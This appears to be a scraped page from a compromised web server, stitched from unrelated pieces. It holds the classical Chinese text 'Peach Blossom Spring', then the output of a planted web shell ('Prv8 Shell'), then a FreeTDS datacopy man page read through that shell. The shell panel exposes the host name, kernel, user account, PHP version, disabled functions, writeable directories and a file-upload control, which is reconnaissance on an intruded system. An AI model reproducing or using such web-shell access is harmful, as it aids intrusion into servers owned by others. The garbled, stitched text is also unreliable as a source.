晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/opt/alt/freetds11/usr/share/man/man1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/alt/freetds11/usr/share/man/man1/datacopy.1
.\" cf. groff_mdoc
.Dd March 25, 2015
.Os FreeTDS 1.1.24
.Dt DATACOPY FreeTDS "FreeTDS Reference Manual"
.\"
.Sh NAME
.Nm datacopy
.Nd move table data between two servers
.\"
.Sh SYNOPSIS
.Nm
.Op Fl vdE
.Bro
.Fl t
|
.Fl a
|
.Fl c
.Ar owner
.Brc
.Op Fl b Ar batchsize
.Op Fl p Ar packetsize
.Op Fl S Ar server/username/password/database/table_or_view
.Op Fl D Ar server/username/password/database/table
.Op Fl T Ar textsize
.\"
.Sh DESCRIPTION
.Nm
is a utility distributed with FreeTDS.
.Nm
will move table data from one server to another without the need for
intermediate files.
.Nm
is much faster and more efficient than is freebcp out/in.
.Pp
.Nm
makes use of the db-lib bcp API built into FreeTDS. This API is also
available to application developers.
.Pp
.Nm
can be used to migrate data between Sybase ASE and SQL Server or vice
versa.
.\"
.Sh OPTIONS
.Bl -tag -width indent
.It Fl t
Truncate target table before loading data.
.It Fl a
Append data to target table.
.It Fl c Ar owner
Create the target table with the same schema as the source table.
.Nm
will submit a
.Ql CREATE TABLE
command on the target server using the specified owner in
the command, e.g.
.Ql CREATE TABLE owner.table (.\|.\|.\&).
.It Fl b Ar batchsize
The number of rows per batch of data copied.  Each batch of data is
effectively 'committed' to the database. The default is 1000.
.It Fl p Ar packetsize
The number of bytes, per network packet, sent to and from the
servers. Increased packet size can enhance performance.
.It Fl T Ar textsize
Specify size of TEXT/IMAGE column from network.
.It Fl v
Produce verbose output, including diagnostic timings.
.It Fl d
Produce freetds TDSDUMP output. (Serious debug only!)
.It Fl S Ar server/username/password/database/table_or_view
The connection information for the source server
and the location/name of the table (or view) to be copied.
If not specified, 
.Nm
prompts the user for the information.
.It Fl D Ar server/username/password/database/table
The connection information for the destination server and the
location/name of the target table.
If not specified, 
.Nm
prompts the user for the information.
.It Fl E
Keep identity values.
.Sh SEE ALSO
.Xr freebcp 1 , Xr defncopy 1 , Xr bsqldb 1 , Xr tsql 1 , 
.%B FreeTDS User Guide.
.\"
.Sh HISTORY
.Pp
.Nm
first appeared in FreeTDS 0.64.
.\"
.Sh AUTHORS
 The 
.Nm
utility was written by
.An Bill Thompson Aq thompbil@exchange.uk.ml.com .

haha - 2025